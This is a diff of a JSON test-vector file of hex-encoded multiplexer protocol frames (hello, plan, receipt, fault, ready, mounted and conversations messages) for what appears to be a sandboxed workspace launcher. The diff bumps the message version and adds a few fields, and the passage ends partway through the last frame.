b/apple/Cowork/WinterCoworkLauncher/Tests/LauncherCoreTests/Vectors/mux-frames.json @@ -47,42 +47,42 @@ { "name": "bootstrap-up-hello", "direction": "up", - "hex": "574d583101010000010000008c0000007b2276223a312c2274223a2268656c6c6f222c226775657374426f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226461746153657269616c223a2277696e7465722d64617461222c22656e7669726f6e6d656e7453657269616c223a2277696e7465722d656e7669726f6e6d656e74227d", + "hex": "574d583101010000010000008c0000007b2276223a322c2274223a2268656c6c6f222c226775657374426f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226461746153657269616c223a2277696e7465722d64617461222c22656e7669726f6e6d656e7453657269616c223a2277696e7465722d656e7669726f6e6d656e74227d", "class": "bootstrap", "seq": 1 }, { "name": "bootstrap-down-plan", "direction": "down", - "hex": "574d583101010000010000006e0600007b2276223a312c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", + "hex": "574d583101010000010000006e0600007b2276223a322c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", "class": "bootstrap", "seq": 1 }, { "name": "bootstrap-up-receipt", "direction": "up", - "hex": "574d58310101000002000000840900007b2276223a312c2274223a2272656365697074222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c2272656365697074223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c22636865636b6564223a747275652c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c2266696c6573797374656d4665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c2266696c6573797374656d54797065223a2265787434222c2266696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c22666c757368436f6e6669726d6564223a747275652c2266756c6c526561644f6e6c79436865636b223a66616c73652c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c226a6f75726e616c5265706c6179223a226e6f6e65222c226a6f75726e616c5265706c61796564223a66616c73652c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c227472616e7369656e7446696c6573797374656d4665617475726573223a5b5d2c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c22636865636b6564223a747275652c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c2266696c6573797374656d4665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c2266696c6573797374656d54797065223a2265787434222c2266696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c22666c757368436f6e6669726d6564223a747275652c2266756c6c526561644f6e6c79436865636b223a66616c73652c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c226a6f75726e616c5265706c6179223a226e6f6e65222c226a6f75726e616c5265706c61796564223a66616c73652c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c227472616e7369656e7446696c6573797374656d4665617475726573223a5b5d2c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", + "hex": "574d58310101000002000000840900007b2276223a322c2274223a2272656365697074222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c2272656365697074223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c22636865636b6564223a747275652c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c2266696c6573797374656d4665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c2266696c6573797374656d54797065223a2265787434222c2266696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c22666c757368436f6e6669726d6564223a747275652c2266756c6c526561644f6e6c79436865636b223a66616c73652c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c226a6f75726e616c5265706c6179223a226e6f6e65222c226a6f75726e616c5265706c61796564223a66616c73652c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c227472616e7369656e7446696c6573797374656d4665617475726573223a5b5d2c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c22636865636b6564223a747275652c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c2266696c6573797374656d4665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c2266696c6573797374656d54797065223a2265787434222c2266696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c22666c757368436f6e6669726d6564223a747275652c2266756c6c526561644f6e6c79436865636b223a66616c73652c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c226a6f75726e616c5265706c6179223a226e6f6e65222c226a6f75726e616c5265706c61796564223a66616c73652c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c227472616e7369656e7446696c6573797374656d4665617475726573223a5b5d2c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", "class": "bootstrap", "seq": 2 }, { "name": "bootstrap-up-fault", "direction": "up", - "hex": "574d58310101000003000000940000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2270726f62655f6661696c6564227d", + "hex": "574d58310101000003000000940000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2270726f62655f6661696c6564227d", "class": "bootstrap", "seq": 3 }, { "name": "bootstrap-down-ready", "direction": "down", - "hex": "574d583101010000020000007e0000007b2276223a312c2274223a227265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "hex": "574d583101010000020000007e0000007b2276223a322c2274223a227265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", "class": "bootstrap", "seq": 2 }, { "name": "bootstrap-up-mounted", "direction": "up", - "hex": "574d58310101000004000000800000007b2276223a312c2274223a226d6f756e746564222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "hex": "574d58310101000004000000800000007b2276223a322c2274223a226d6f756e746564222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", "class": "bootstrap", "seq": 4 }, @@ -124,42 +124,42 @@ { "name": "bootstrap-down-conversations-guided", "direction": "down", - "hex": "574d58310101000003000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000003000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "class": "bootstrap", "seq": 3 }, { "name": "bootstrap-down-conversations-tools-only", "direction": "down", - "hex": "574d583101010000040000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000040000007b0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "class": "bootstrap", "seq": 4 }, { "name": "bootstrap-up-runtime-ready", "direction": "up", - "hex": "574d58310101000005000000980000007b2276223a312c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a317d", + "hex": 